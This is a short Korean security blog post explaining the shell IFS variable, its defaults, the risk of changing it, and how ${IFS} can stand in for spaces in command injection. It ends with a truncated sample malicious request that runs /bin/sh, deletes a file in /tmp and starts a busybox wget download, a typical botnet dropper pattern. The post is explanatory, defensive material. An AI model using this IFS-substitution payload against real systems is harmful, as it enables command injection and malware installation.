1. IFS(Internal Field Separator) String
- 외부프로그램을 실행할 때 입력되는 문자열을 나눌 때 기준이 되는 문자를 정의하는 환경 변수
- 디폴트 값은 공백/탭/개행 문자 (space, tab, new line)
- IFS를 쉘 스크립트로 테스트해보면, 공백을 기준으로 문자를 나누어짐
- IFS를 다른 값으로 바꾸어 테스트 시 [사진 2] 처럼 하나의 문자열로 출력됨
※ 문자열을 apple:key:seoul:korea처럼 바꾸면 정상적으로 구분될 것
IFS는 환경변수
> 어느 한 쉘 스크립트에서 IFS값을 바꿀 경우 다른 쉘 스크립트에서 오작동이 일어날 수 있음
> 따라서 만일 IFS을 바꿔서 사용할 일이 있으면, 반드시 마지막에 다시 초기 IFS값으로 롤백해야 하는 로직을 추가해야 함
- 만약 아래와 같은 문자열이 포함된 요청을 수신할 경우 ${IFS} 문자열이 공백으로 치환되 임의 명령 수행이 가능해짐
/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}
'취약점 > 기타' 카테고리의 다른 글
AD(Active Directory) 공격 (0) | 2023.04.20 |
---|---|
Deface Attack_중국 샤오치잉 해킹 그룹 (0) | 2023.04.10 |
DNS Zone Transfer (0) | 2022.12.07 |
Brute Force Attack (0) | 2022.11.16 |
TLS OpenSSL HeartBleed Vulnerability(CVE-2014-0160) (0) | 2022.09.29 |